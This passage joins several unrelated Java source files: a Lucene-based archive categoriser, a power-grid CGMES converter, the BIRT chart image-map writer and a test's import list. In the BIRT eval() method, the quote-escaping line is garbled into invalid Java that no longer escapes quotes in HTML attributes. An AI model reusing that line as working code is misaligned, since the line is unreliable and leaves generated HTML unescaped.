typeQNames.put(objectClass, objectQname);
return objectQname;
}
// try to reflect-load the getTypeDesc method for axis beans...
// This assumes the QName of the element is the same as the QName
// of the element's type. This may not always be the case.
// TODO: Figgure out a way to handle non-axis beans
try {
Method m = objectClass.getMethod("getTypeDesc", new Class[0]);
m.setAccessible(true);
TypeDesc typeDesc = (TypeDesc) m.invoke(obj, new Object[0]);
objectQname = typeDesc.getXmlType();
if (objectQname != null) {
typeQNames.put(objectClass, objectQname);
return objectQname;
}
} catch (Exception e) {
// oh well, we tried
return null;
}
}
return objectQname;
}
}
|
package gov.tna.discovery.taxonomy.common.service.impl;
import gov.tna.discovery.taxonomy.common.repository.domain.lucene.InformationAssetView;
import gov.tna.discovery.taxonomy.common.repository.domain.lucene.InformationAssetViewFields;
import gov.tna.discovery.taxonomy.common.repository.domain.mongo.Category;
import gov.tna.discovery.taxonomy.common.repository.lucene.LuceneHelperTools;
import gov.tna.discovery.taxonomy.common.repository.mongo.CategoryRepository;
import gov.tna.discovery.taxonomy.common.service.CategoriserService;
import gov.tna.discovery.taxonomy.common.service.domain.CategorisationResult;
import gov.tna.discovery.taxonomy.common.service.exception.TaxonomyErrorType;
import gov.tna.discovery.taxonomy.common.service.exception.TaxonomyException;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
import org.apache.lucene.analysis.Analyzer;
import org.apache.lucene.document.Document;
import org.apache.lucene.document.Field;
import org.apache.lucene.document.TextField;
import org.apache.lucene.index.IndexWriter;
import org.apache.lucene.index.IndexWriterConfig;
import org.apache.lucene.queryparser.classic.MultiFieldQueryParser;
import org.apache.lucene.queryparser.classic.ParseException;
import org.apache.lucene.queryparser.classic.QueryParser;
import org.apache.lucene.search.IndexSearcher;
import org.apache.lucene.search.Query;
import org.apache.lucene.search.SearcherManager;
import org.apache.lucene.search.TopDocs;
import org.apache.lucene.store.RAMDirectory;
import org.apache.lucene.util.Version;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
import org.springframework.stereotype.Service;
import org.springframework.util.StringUtils;
@Service
@ConditionalOnProperty(prefix = "lucene.categoriser.", value = "useQueryBasedCategoriser")
public class QueryBasedCategoriserServiceImpl implements CategoriserService<CategorisationResult> {
private static final Logger logger = LoggerFactory.getLogger(QueryBasedCategoriserServiceImpl.class);
@Autowired
private CategoryRepository categoryRepository;
@Value("${lucene.index.version}")
private String luceneVersion;
@Value("${lucene.categoriser.fieldsToAnalyse}")
private String fieldsToAnalyse;
@Autowired
private Analyzer categoryQueryAnalyser;
@Override
public List<CategorisationResult> categoriseIAViewSolrDocument(String catdocref) {
// TODO Auto-generated method stub
return null;
}
@Override
public void testCategoriseIAViewSolrIndex() throws IOException {
// TODO Auto-generated method stub
}
@Override
public List<CategorisationResult> testCategoriseSingle(InformationAssetView iaView) {
logger.info(".testCategoriseSingle: catdocref:{}, docreference:{} ", iaView.getCATDOCREF(),
iaView.getDOCREFERENCE());
List<CategorisationResult> listOfCategoryResults = new ArrayList<CategorisationResult>();
SearcherManager searcherManager = null;
IndexSearcher searcher = null;
try {
RAMDirectory ramDirectory = createRamDirectoryForDocument(iaView);
searcherManager = new SearcherManager(ramDirectory, null);
searcher = searcherManager.acquire();
QueryParser parser = new MultiFieldQueryParser(Version.valueOf(luceneVersion), fieldsToAnalyse.split(","),
this.categoryQueryAnalyser);
parser.setAllowLeadingWildcard(true);
for (Category category : categoryRepository.findAll()) {
String queryString = category.getQry();
Query query;
try {
query = parser.parse(queryString);
TopDocs topDocs = searcher.search(query, 1);
if (topDocs.totalHits != 0 && topDocs.scoreDocs[0].score > category.getSc()) {
listOfCategoryResults.add(new CategorisationResult(category.getTtl(),
topDocs.scoreDocs[0].score));
logger.debug(".testCategoriseSingle: found category {} with score {}", category.getTtl(),
topDocs.scoreDocs[0].score);
} else {
logger.debug(".testCategoriseSingle: category {} not found", category.getTtl());
}
} catch (ParseException e) {
logger.debug(".testCategoriseSingle: an exception occured while parsing category query for {}",
category.getTtl());
}
}
} catch (IOException e) {
throw new TaxonomyException(TaxonomyErrorType.LUCENE_IO_EXCEPTION, e);
} finally {
LuceneHelperTools.releaseSearcherManagerQuietly(searcherManager, searcher);
}
sortCategorisationResultsByScoreDesc(listOfCategoryResults);
return listOfCategoryResults;
}
private RAMDirectory createRamDirectoryForDocument(InformationAssetView iaView) throws IOException {
RAMDirectory ramDirectory = new RAMDirectory();
// Make an writer to create the index
IndexWriter writer = new IndexWriter(ramDirectory, new IndexWriterConfig(Version.valueOf(luceneVersion),
categoryQueryAnalyser));
// Add some Document objects containing quotes
writer.addDocument(getLuceneDocumentFromIaVIew(iaView));
// Optimize and close the writer to finish building the index
writer.close();
return ramDirectory;
}
private void sortCategorisationResultsByScoreDesc(List<CategorisationResult> categorisationResults) {
// Sort results by Score in descending Order
Collections.sort(categorisationResults, new Comparator<CategorisationResult>() {
public int compare(CategorisationResult a, CategorisationResult b) {
return b.getScore().compareTo(a.getScore());
}
});
}
/**
* Create a lucene document from an iaView object and add it to the
* TrainingIndex index
*
* @param iaView
* @throws IOException
*/
public Document getLuceneDocumentFromIaVIew(InformationAssetView iaView) throws IOException {
if (!StringUtils.isEmpty(iaView.getDESCRIPTION())) {
iaView.setDESCRIPTION(iaView.getDESCRIPTION());
}
if (!StringUtils.isEmpty(iaView.getCONTEXTDESCRIPTION())) {
iaView.setCONTEXTDESCRIPTION(iaView.getCONTEXTDESCRIPTION());
}
if (!StringUtils.isEmpty(iaView.getTITLE())) {
iaView.setTITLE(iaView.getTITLE());
}
Document doc = new Document();
doc.add(new TextField(InformationAssetViewFields.DESCRIPTION.toString(), iaView.getDESCRIPTION(),
Field.Store.YES));
if (!StringUtils.isEmpty(iaView.getTITLE())) {
doc.add(new TextField(InformationAssetViewFields.TITLE.toString(), iaView.getTITLE(), Field.Store.YES));
}
if (!StringUtils.isEmpty(iaView.getCONTEXTDESCRIPTION())) {
doc.add(new TextField(InformationAssetViewFields.CONTEXTDESCRIPTION.toString(), iaView
.getCONTEXTDESCRIPTION(), Field.Store.YES));
}
if (iaView.getCORPBODYS() != null) {
doc.add(new TextField(InformationAssetViewFields.CORPBODYS.toString(), Arrays.toString(iaView
.getCORPBODYS()), Field.Store.YES));
}
if (iaView.getPERSON_FULLNAME() != null) {
doc.add(new TextField(InformationAssetViewFields.PERSON_FULLNAME.toString(), Arrays.toString(iaView
.getPERSON_FULLNAME()), Field.Store.YES));
}
if (iaView.getPLACE_NAME() != null) {
doc.add(new TextField(InformationAssetViewFields.PLACE_NAME.toString(), Arrays.toString(iaView
.getPLACE_NAME()), Field.Store.YES));
}
if (iaView.getSUBJECTS() != null) {
doc.add(new TextField(InformationAssetViewFields.SUBJECTS.toString(),
Arrays.toString(iaView.getSUBJECTS()), Field.Store.YES));
}
return doc;
}
}
|
package com.powsybl.cgmes.conversion.elements;
import com.powsybl.cgmes.conversion.Context;
import com.powsybl.cgmes.model.PowerFlow;
import com.powsybl.iidm.network.EnergySource;
import com.powsybl.iidm.network.Generator;
import com.powsybl.iidm.network.GeneratorAdder;
import com.powsybl.triplestore.api.PropertyBag;
public class EquivalentInjectionConversion extends AbstractReactiveLimitsOwnerConversion {
private static final String REGULATION_TARGET = "regulationTarget";
public EquivalentInjectionConversion(PropertyBag sm, Context context) {
super("EquivalentInjection", sm, context);
}
@Override
public void convert() {
double minP = p.asDouble("minP", -Double.MAX_VALUE);
double maxP = p.asDouble("maxP", Double.MAX_VALUE);
EnergySource energySource = EnergySource.OTHER;
PowerFlow f = powerFlow();
double targetP = 0;
double targetQ = 0;
if (f.defined()) {
targetP = -f.p();
targetQ = -f.q();
}
boolean regulationCapability = p.asBoolean("regulationCapability", false);
boolean regulationStatus = p.asBoolean("regulationStatus", false) && regulationCapability;
if (!p.containsKey("regulationStatus") || !p.containsKey(REGULATION_TARGET)) {
context.missing(String.format("Missing regulationStatus or regulationTarget for EquivalentInjection %s. Voltage regulation is considered as off.", id));
}
regulationStatus = regulationStatus && terminalConnected();
double targetV = Double.NaN;
if (terminalConnected() && regulationStatus) {
targetV = p.asDouble(REGULATION_TARGET);
if (targetV == 0) {
fixed(REGULATION_TARGET, "Target voltage value can not be zero", targetV,
voltageLevel().getNominalV());
targetV = voltageLevel().getNominalV();
}
}
GeneratorAdder adder = voltageLevel().newGenerator()
.setMinP(minP)
.setMaxP(maxP)
.setVoltageRegulatorOn(regulationStatus)
// .setRegulatingTerminal(regulatingTerminal)
.setTargetP(targetP)
.setTargetQ(targetQ)
.setTargetV(targetV)
// .setRatedS(ratedS)
.setEnergySource(energySource);
identify(adder);
connect(adder);
Generator g = adder.add();
convertedTerminals(g.getTerminal());
convertReactiveLimits(g);
}
}
|
package org.eclipse.birt.chart.device.image;
import java.awt.Color;
import java.awt.Dimension;
import java.awt.Font;
import java.awt.FontMetrics;
import java.awt.Image;
import java.awt.Shape;
import java.awt.geom.PathIterator;
import java.awt.image.BufferedImage;
import java.awt.image.RenderedImage;
import java.io.File;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import javax.imageio.ImageIO;
import javax.imageio.ImageWriteParam;
import javax.imageio.ImageWriter;
import javax.imageio.event.IIOWriteWarningListener;
import javax.imageio.stream.ImageOutputStream;
import org.eclipse.birt.chart.computation.DataPointHints;
import org.eclipse.birt.chart.device.IDeviceRenderer;
import org.eclipse.birt.chart.device.IImageMapEmitter;
import org.eclipse.birt.chart.device.extension.i18n.Messages;
import org.eclipse.birt.chart.device.plugin.ChartDeviceExtensionPlugin;
import org.eclipse.birt.chart.device.swing.ShapedAction;
import org.eclipse.birt.chart.device.swing.SwingRendererImpl;
import org.eclipse.birt.chart.device.util.HTMLAttribute;
import org.eclipse.birt.chart.device.util.HTMLTag;
import org.eclipse.birt.chart.device.util.ScriptUtil;
import org.eclipse.birt.chart.event.StructureType;
import org.eclipse.birt.chart.exception.ChartException;
import org.eclipse.birt.chart.log.ILogger;
import org.eclipse.birt.chart.log.Logger;
import org.eclipse.birt.chart.model.attribute.ActionType;
import org.eclipse.birt.chart.model.attribute.Bounds;
import org.eclipse.birt.chart.model.attribute.ScriptValue;
import org.eclipse.birt.chart.model.attribute.TooltipValue;
import org.eclipse.birt.chart.model.attribute.TriggerCondition;
import org.eclipse.birt.chart.model.attribute.URLValue;
import org.eclipse.birt.chart.model.attribute.impl.BoundsImpl;
import org.eclipse.birt.chart.model.data.Action;
/**
* JavaxImageIOWriter
*/
public abstract class JavaxImageIOWriter extends SwingRendererImpl implements
IIOWriteWarningListener,
IImageMapEmitter
{
protected Image _img = null;
protected Object _oOutputIdentifier = null;
private Bounds _bo = null;
private transient boolean _bImageExternallySpecified = false;
private static ILogger logger = Logger.getLogger( "org.eclipse.birt.chart.device.extension/image" ); //$NON-NLS-1$
private final static String NO_OP_JAVASCRIPT = "javascript:void(0);"; //$NON-NLS-1$
private final static String POLY_SHAPE = "poly"; // //$NON-NLS-1$
private boolean bAddCallback = false;
/**
* Returns the output format string for this writer.
*
* @return
*/
protected abstract String getFormat( );
/**
* Returns the output image type for this writer.
*
* @see java.awt.image.BufferedImage#TYPE_INT_RGB
* @see java.awt.image.BufferedImage#TYPE_INT_ARGB
* @see java.awt.image.BufferedImage#TYPE_INT_ARGB_PRE
* @see java.awt.image.BufferedImage#TYPE_INT_BGR
* @see java.awt.image.BufferedImage#TYPE_3BYTE_BGR
* @see java.awt.image.BufferedImage#TYPE_4BYTE_ABGR
* @see java.awt.image.BufferedImage#TYPE_4BYTE_ABGR_PRE
* @see java.awt.image.BufferedImage#TYPE_BYTE_GRAY
* @see java.awt.image.BufferedImage#TYPE_USHORT_GRAY
* @see java.awt.image.BufferedImage#TYPE_BYTE_BINARY
* @see java.awt.image.BufferedImage#TYPE_BYTE_INDEXED
* @see java.awt.image.BufferedImage#TYPE_USHORT_565_RGB
* @see java.awt.image.BufferedImage#TYPE_USHORT_555_RGB
*
* @return
*/
protected abstract int getImageType( );
/**
* Returns true if the image type supports transparency
* false otherwise
* @return
*/
protected boolean supportsTransparency( )
{
return true;
}
JavaxImageIOWriter( )
{
// By default do not cache images on disk
ImageIO.setUseCache( false );
}
/**
* Updates the writer's parameters.
*
* @param iwp
*/
protected void updateWriterParameters( ImageWriteParam iwp )
{
// OPTIONALLY IMPLEMENTED BY SUBCLASS
}
/*
* (non-Javadoc)
*
* @see org.eclipse.birt.chart.device.IImageMapEmitter#getMimeType()
*/
public abstract String getMimeType( );
/*
* (non-Javadoc)
*
* @see org.eclipse.birt.chart.device.IImageMapEmitter#getImageMap()
*/
public String getImageMap( )
{
List saList = getShapeActions( );
if ( saList == null || saList.size( ) == 0 )
{
return null;
}
// Generate image map using associated trigger list.
StringBuffer sb = new StringBuffer( );
for ( Iterator iter = saList.iterator( ); iter.hasNext( ); )
{
ShapedAction sa = (ShapedAction) iter.next( );
userCallback( sa, sb );
String coords = shape2polyCoords( sa.getShape( ) );
if ( coords != null )
{
HTMLTag tag = new HTMLTag( "AREA" ); //$NON-NLS-1$
tag.addAttribute( HTMLAttribute.SHAPE, POLY_SHAPE );
tag.addAttribute( HTMLAttribute.COORDS, coords );
boolean changed = false;
changed |= processOnFocus( sa, tag );
changed |= processOnBlur( sa, tag );
changed |= processOnClick( sa, tag );
changed |= processOnMouseOver( sa, tag );
if ( changed )
{
sb.append( tag );
}
}
}
return sb.toString( );
}
protected boolean processOnFocus( ShapedAction sa, HTMLTag tag )
{
// 1. onfocus
Action ac = sa.getActionForCondition( TriggerCondition.ONFOCUS_LITERAL );
if ( checkSupportedAction( ac ) )
{
switch ( ac.getType( ).getValue( ) )
{
case ActionType.URL_REDIRECT :
URLValue uv = (URLValue) ac.getValue( );
tag.addAttribute( HTMLAttribute.HREF, NO_OP_JAVASCRIPT );
tag.addAttribute( HTMLAttribute.ONFOCUS,
getJsURLRedirect( uv ) );
return true;
case ActionType.SHOW_TOOLTIP :
// for onmouseover only.
return false;
case ActionType.INVOKE_SCRIPT :
ScriptValue sv = (ScriptValue) ac.getValue( );
tag.addAttribute( HTMLAttribute.HREF, NO_OP_JAVASCRIPT );
tag.addAttribute( HTMLAttribute.ONFOCUS,
eval( sv.getScript( ) ) );
return true;
}
}
return false;
}
protected boolean processOnBlur( ShapedAction sa, HTMLTag tag )
{
// 2. onblur
Action ac = sa.getActionForCondition( TriggerCondition.ONFOCUS_LITERAL );
if ( checkSupportedAction( ac ) )
{
switch ( ac.getType( ).getValue( ) )
{
case ActionType.URL_REDIRECT :
URLValue uv = (URLValue) ac.getValue( );
tag.addAttribute( HTMLAttribute.HREF, NO_OP_JAVASCRIPT );
tag.addAttribute( HTMLAttribute.ONBLUR,
getJsURLRedirect( uv ) );
return true;
case ActionType.SHOW_TOOLTIP :
// for onmouseover only.
return false;
case ActionType.INVOKE_SCRIPT :
ScriptValue sv = (ScriptValue) ac.getValue( );
tag.addAttribute( HTMLAttribute.HREF, NO_OP_JAVASCRIPT );
tag.addAttribute( HTMLAttribute.ONBLUR,
eval( sv.getScript( ) ) );
return true;
}
}
return false;
}
protected boolean processOnClick( ShapedAction sa, HTMLTag tag )
{
// 3. onclick (including Click and DoubleClick event)
Action ac = sa.getActionForCondition( TriggerCondition.ONCLICK_LITERAL );
if ( ac == null )
{
// Bugzilla #132645, Since Double Click event is not supported in
// HTML, just replace it with Click.
ac = sa.getActionForCondition( TriggerCondition.ONDBLCLICK_LITERAL );
}
if ( checkSupportedAction( ac ) )
{
switch ( ac.getType( ).getValue( ) )
{
case ActionType.URL_REDIRECT :
URLValue uv = (URLValue) ac.getValue( );
tag.addAttribute( HTMLAttribute.HREF,
eval( uv.getBaseUrl( ) ) );
tag.addAttribute( HTMLAttribute.TARGET,
eval( uv.getTarget( ) ) );
return true;
case ActionType.SHOW_TOOLTIP :
// for onmouseover only.
return false;
case ActionType.INVOKE_SCRIPT :
ScriptValue sv = (ScriptValue) ac.getValue( );
tag.addAttribute( HTMLAttribute.HREF, NO_OP_JAVASCRIPT );
if ( StructureType.SERIES_DATA_POINT.equals( sa.getSource( )
.getType( ) ) )
{
final DataPointHints dph = (DataPointHints) sa.getSource( )
.getSource( );
String callbackFunction = "userCallBack("; //$NON-NLS-1$
callbackFunction = ScriptUtil.script( callbackFunction,
dph );
callbackFunction += ");"; //$NON-NLS-1$
tag.addAttribute( HTMLAttribute.ONCLICK,
eval( callbackFunction ) );
}
else
{
tag.addAttribute( HTMLAttribute.ONCLICK,
eval( sv.getScript( ) ) );
}
return true;
}
}
return false;
}
protected boolean processOnMouseOver( ShapedAction sa, HTMLTag tag )
{
// 4. onmouseover
Action ac = sa.getActionForCondition( TriggerCondition.ONMOUSEOVER_LITERAL );
if ( checkSupportedAction( ac ) )
{
switch ( ac.getType( ).getValue( ) )
{
case ActionType.URL_REDIRECT :
// not for onmouseover.
return false;
case ActionType.SHOW_TOOLTIP :
TooltipValue tv = (TooltipValue) ac.getValue( );
// only add valid tooltip
if ( tv.getText( ) != null && tv.getText( ).length( ) > 0 )
{
tag.addAttribute( HTMLAttribute.TITLE,
eval( tv.getText( ) ) );
return true;
}
return false;
case ActionType.INVOKE_SCRIPT :
// not for onmouseover.
return false;
}
}
return false;
}
protected String getJsURLRedirect( URLValue uv )
{
StringBuffer js = new StringBuffer( "window.open('" ); //$NON-NLS-1$
js.append( eval( uv.getBaseUrl( ) ) );
js.append( "','" ); //$NON-NLS-1$
js.append( uv.getTarget( ) == null ? "self" : uv.getTarget( ) ); //$NON-NLS-1$
js.append( "');" );//$NON-NLS-1$
return js.toString( );
}
/**
* Convert AWT shape to image map coordinates.
*
* @param shape
* @return
*/
private String shape2polyCoords( Shape shape )
{
if ( shape == null )
{
return null;
}
ArrayList al = new ArrayList( );
PathIterator pitr = shape.getPathIterator( null );
double[] data = new double[6];
// TODO improve to support precise curve coordinates.
while ( !pitr.isDone( ) )
{
int type = pitr.currentSegment( data );
switch ( type )
{
case PathIterator.SEG_MOVETO :
al.add( new Double( data[0] ) );
al.add( new Double( data[1] ) );
break;
case PathIterator.SEG_LINETO :
al.add( new Double( data[0] ) );
al.add( new Double( data[1] ) );
break;
case PathIterator.SEG_QUADTO :
al.add( new Double( data[0] ) );
al.add( new Double( data[1] ) );
al.add( new Double( data[2] ) );
al.add( new Double( data[3] ) );
break;
case PathIterator.SEG_CUBICTO :
al.add( new Double( data[0] ) );
al.add( new Double( data[1] ) );
al.add( new Double( data[2] ) );
al.add( new Double( data[3] ) );
al.add( new Double( data[4] ) );
al.add( new Double( data[5] ) );
break;
case PathIterator.SEG_CLOSE :
break;
}
pitr.next( );
}
if ( al.size( ) == 0 )
{
return null;
}
StringBuffer sb = new StringBuffer( );
for ( int i = 0; i < al.size( ); i++ )
{
Double db = (Double) al.get( i );
if ( i > 0 )
{
sb.append( "," ); //$NON-NLS-1$
}
sb.append( (int) db.doubleValue( ) );
}
return sb.toString( );
}
private boolean checkSupportedAction( Action action )
{
return ( action != null && ( action.getType( ) == ActionType.URL_REDIRECT_LITERAL
|| action.getType( ) == ActionType.SHOW_TOOLTIP_LITERAL || action.getType( ) == ActionType.INVOKE_SCRIPT_LITERAL ) );
}
/**
* Returns if the given format type or MIME type is supported by the
* registered JavaxImageIO writers.
*
* @return
*/
protected boolean isSupportedByJavaxImageIO( )
{
boolean supported = false;
// Search for writers using format type.
String s = getFormat( );
if ( s != null )
{
Iterator it = ImageIO.getImageWritersByFormatName( s );
if ( it.hasNext( ) )
{
supported = true;
}
}
// Search for writers using MIME type.
if ( !supported )
{
s = getMimeType( );
if ( s != null )
{
Iterator it = ImageIO.getImageWritersByMIMEType( s );
if ( it.hasNext( ) )
{
supported = true;
}
}
}
return supported;
}
/*
* (non-Javadoc)
*
* @see org.eclipse.birt.chart.device.IDeviceRenderer#before()
*/
public void before( ) throws ChartException
{
super.before( );
_bImageExternallySpecified = ( _img != null );
// IF A CACHED IMAGE STRATEGY IS NOT USED, CREATE A NEW INSTANCE
// EVERYTIME
if ( !_bImageExternallySpecified )
{
if ( _bo == null ) // BOUNDS MUST BE SPECIFIED BEFORE RENDERING
// BEGINS
{
throw new ChartException( ChartDeviceExtensionPlugin.ID,
ChartException.RENDERING,
"JavaxImageIOWriter.exception.no.bounds", //$NON-NLS-1$
Messages.getResourceBundle( getULocale( ) ) );
}
if ( (int) _bo.getWidth( ) < 0 || (int) _bo.getHeight( ) < 0 )
{
throw new ChartException( ChartDeviceExtensionPlugin.ID,
ChartException.INVALID_IMAGE_SIZE,
"JavaxImageIOWriter.exception.invalid.image.size", //$NON-NLS-1$
Messages.getResourceBundle( getULocale( ) ) );
}
if ( (int) _bo.getWidth( ) == 0 || (int) _bo.getHeight( ) == 0 )
{
// Zero size is forbidden in BufferedImage, so replace the size
// with 1 to make it seem invisible
_bo.setWidth( 1 );
_bo.setHeight( 1 );
}
// CREATE THE IMAGE INSTANCE
_img = new BufferedImage( (int) _bo.getWidth( ),
(int) _bo.getHeight( ),
getImageType( ) );
}
super.setProperty( IDeviceRenderer.GRAPHICS_CONTEXT, _img.getGraphics( ) );
if ( !supportsTransparency( ) )
{
// Paint image white to avoid black background
_g2d.setPaint( Color.WHITE );
_g2d.fillRect( 0, 0, _img.getWidth( null ), _img.getHeight( null ) );
}
}
/*
* (non-Javadoc)
*
* @see org.eclipse.birt.chart.device.IDeviceRenderer#after()
*/
public void after( ) throws ChartException
{
super.after( );
if ( _oOutputIdentifier != null )
{
// SEARCH FOR WRITER USING FORMAT
Iterator it = null;
String s = getFormat( );
if ( s != null )
{
it = ImageIO.getImageWritersByFormatName( s );
if ( !it.hasNext( ) )
{
it = null; // GET INTO NEXT CONSTRUCT; SEARCH BY MIME TYPE
}
}
// SEARCH FOR WRITER USING MIME TYPE
if ( it == null )
{
s = getMimeType( );
if ( s == null )
{
throw new ChartException( ChartDeviceExtensionPlugin.ID,
ChartException.RENDERING,
"JavaxImageIOWriter.exception.no.imagewriter.mimetype.and.format",//$NON-NLS-1$
new Object[]{
getMimeType( ),
getFormat( ),
getClass( ).getName( )
},
Messages.getResourceBundle( getULocale( ) ) );
}
it = ImageIO.getImageWritersByMIMEType( s );
if ( !it.hasNext( ) )
{
throw new ChartException( ChartDeviceExtensionPlugin.ID,
ChartException.RENDERING,
"JavaxImageIOWriter.exception.no.imagewriter.mimetype", //$NON-NLS-1$
new Object[]{
getMimeType( )
},
Messages.getResourceBundle( getULocale( ) ) );
}
}
final ImageWriter iw = (ImageWriter) it.next( );
logger.log( ILogger.INFORMATION,
Messages.getString( "JavaxImageIOWriter.info.using.imagewriter", getULocale( ) ) //$NON-NLS-1$
+ getFormat( )
+ iw.getClass( ).getName( ) );
// WRITE TO SPECIFIC FILE FORMAT
final Object o = ( _oOutputIdentifier instanceof String ) ? new File( (String) _oOutputIdentifier )
: _oOutputIdentifier;
try
{
final ImageOutputStream ios = ImageIO.createImageOutputStream( o );
updateWriterParameters( iw.getDefaultWriteParam( ) ); // SET
// ANY
// OUTPUT
// FORMAT
// SPECIFIC
// PARAMETERS
// IF NEEDED
iw.setOutput( ios );
iw.write( (RenderedImage) _img );
ios.close( );
}
catch ( Exception ex )
{
throw new ChartException( ChartDeviceExtensionPlugin.ID,
ChartException.RENDERING,
ex );
}
finally
{
iw.dispose( );
}
}
// FLUSH AND RESTORE STATE OF INTERNALLY CREATED IMAGE
if ( !_bImageExternallySpecified )
{
_img.flush( );
_img = null;
}
// ALWAYS DISPOSE THE GRAPHICS CONTEXT THAT WAS CREATED FROM THE IMAGE
_g2d.dispose( );
_g2d = null;
}
/*
* (non-Javadoc)
*
* @see org.eclipse.birt.chart.device.IDeviceRenderer#setProperty(java.lang.String,
* java.lang.Object)
*/
public void setProperty( String sProperty, Object oValue )
{
super.setProperty( sProperty, oValue );
if ( sProperty.equals( IDeviceRenderer.EXPECTED_BOUNDS ) )
{
_bo = (Bounds) oValue;
}
else if ( sProperty.equals( IDeviceRenderer.CACHED_IMAGE ) )
{
_img = (Image) oValue;
}
else if ( sProperty.equals( IDeviceRenderer.FILE_IDENTIFIER ) )
{
_oOutputIdentifier = oValue;
}
else if ( sProperty.equals( IDeviceRenderer.CACHE_ON_DISK ) )
{
ImageIO.setUseCache( ( (Boolean) oValue ).booleanValue( ) );
}
}
/*
* (non-Javadoc)
*
* @see javax.imageio.event.IIOWriteWarningListener#warningOccurred(javax.imageio.ImageWriter,
* int, java.lang.String)
*/
public void warningOccurred( ImageWriter source, int imageIndex,
String warning )
{
logger.log( ILogger.WARNING, warning );
}
/*
* (non-Javadoc)
*
* @see org.eclipse.birt.chart.device.IDeviceRenderer#presentException(java.lang.Exception)
*/
public void presentException( Exception cexp )
{
if ( _bo == null )
{
_bo = BoundsImpl.create( 0, 0, 400, 300 );
}
String sWrappedException = cexp.getClass( ).getName( );
while ( cexp.getCause( ) != null )
{
cexp = (Exception) cexp.getCause( );
}
String sException = cexp.getClass( ).getName( );
if ( sWrappedException.equals( sException ) )
{
sWrappedException = null;
}
String sMessage = cexp.getMessage( );
StackTraceElement[] stea = cexp.getStackTrace( );
Dimension d = new Dimension( (int) _bo.getWidth( ),
(int) _bo.getHeight( ) );
Font fo = new Font( "Monospaced", Font.BOLD, 14 ); //$NON-NLS-1$
_g2d.setFont( fo );
FontMetrics fm = _g2d.getFontMetrics( );
_g2d.setColor( Color.WHITE );
_g2d.fillRect( 20, 20, d.width - 40, d.height - 40 );
_g2d.setColor( Color.BLACK );
_g2d.drawRect( 20, 20, d.width - 40, d.height - 40 );
_g2d.setClip( 20, 20, d.width - 40, d.height - 40 );
int x = 25, y = 20 + fm.getHeight( );
_g2d.drawString( Messages.getString( "JavaxImageIOWriter.exception.caption", getULocale( ) ), x, y ); //$NON-NLS-1$
x += fm.stringWidth( Messages.getString( "JavaxImageIOWriter.exception.caption",//$NON-NLS-1$
getULocale( ) ) ) + 5;
_g2d.setColor( Color.RED );
_g2d.drawString( sException, x, y );
x = 25;
y += fm.getHeight( );
if ( sWrappedException != null )
{
_g2d.setColor( Color.BLACK );
_g2d.drawString( Messages.getString( "JavaxImageIOWriter.wrapped.caption", getULocale( ) ), x, y ); //$NON-NLS-1$
x += fm.stringWidth( Messages.getString( "JavaxImageIOWriter.wrapped.caption",//$NON-NLS-1$
getULocale( ) ) ) + 5;
_g2d.setColor( Color.RED );
_g2d.drawString( sWrappedException, x, y );
x = 25;
y += fm.getHeight( );
}
_g2d.setColor( Color.BLACK );
y += 10;
_g2d.drawString( Messages.getString( "JavaxImageIOWriter.message.caption", getULocale( ) ), x, y ); //$NON-NLS-1$
x += fm.stringWidth( Messages.getString( "JavaxImageIOWriter.message.caption", getULocale( ) ) ) + 5; //$NON-NLS-1$
_g2d.setColor( Color.BLUE );
_g2d.drawString( sMessage, x, y );
x = 25;
y += fm.getHeight( );
_g2d.setColor( Color.BLACK );
y += 10;
_g2d.drawString( Messages.getString( "JavaxImageIOWriter.trace.caption", getULocale( ) ), x, y );x = 40;y += fm.getHeight( ); //$NON-NLS-1$
_g2d.setColor( Color.GREEN.darker( ) );
for ( int i = 0; i < stea.length; i++ )
{
_g2d.drawString( Messages.getString( "JavaxImageIOWriter.trace.detail",//$NON-NLS-1$
new Object[]{
stea[i].getClassName( ),
stea[i].getMethodName( ),
String.valueOf( stea[i].getLineNumber( ) )
},
getULocale( ) ),
x,
y );
x = 40;
y += fm.getHeight( );
}
}
protected String eval( String expr )
{
if ( expr == null )
{
return ""; //$NON-NLS-1$
}
expr = expr.replaceAll( "\"", """ ); //$NON-NLS-1$ //$NON-NLS-2$
return expr;
}
/**
* When 1). The action is supported, and the action type is INVOKE_SCRIPT.
* 2). The script has not been added into ImageMap. 3). The action acts on
* the value series area. Add the script into ImageMap.
*
* @param sa
* ShapedAction
* @param sb
* StringBuffer
*/
private void userCallback( ShapedAction sa, StringBuffer sb )
{
Action ac = sa.getActionForCondition( TriggerCondition.ONCLICK_LITERAL );
if ( !bAddCallback && checkSupportedAction( ac ) )
{
if ( ac.getType( ).getValue( ) == ActionType.INVOKE_SCRIPT
&& StructureType.SERIES_DATA_POINT.equals( sa.getSource( )
.getType( ) ) )
{
ScriptValue sv = (ScriptValue) ac.getValue( );
sb.append( "<Script>" //$NON-NLS-1$
+ "function userCallBack(categoryData, valueData, seriesValueName){" //$NON-NLS-1$
+ eval( sv.getScript( ) )
+ "}</Script>" ); //$NON-NLS-1$
bAddCallback = true;
}
}
}
}
|
package org.phenotips.vocabulary.internal;
import org.phenotips.vocabulary.Vocabulary;
import org.phenotips.vocabulary.VocabularyTerm;
import org.xwiki.cache.Cache;
import org.xwiki.cache.CacheException;
import org.xwiki.cache.CacheManager;
import org.xwiki.cache.config.CacheConfiguration;
import org.xwiki.component.manager.ComponentLookupException;
import org.xwiki.component.phase.Initializable;
import org.xwiki.component.phase.InitializationException;
import org.xwiki.component.util.ReflectionUtils;
import org.xwiki.configuration.ConfigurationSource;
import org.xwiki.test.mockito.MockitoComponentMockingRule;
import java.io.IOException;
import java.lang.reflect.Field;
import java.net.URI;
import java.net.URISyntaxException;
import java.util.Arrays;
import java.util.Collections;
import java.util.HashMap;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;
import org.apache.http.HttpEntity;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpUriRequest;
import org.apache.http.impl.client.CloseableHttpClient;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.mockito.Matchers;
import org.mockito.Mock;
import org.mockito.Mockito;
import org.mockito.MockitoAnnotations;
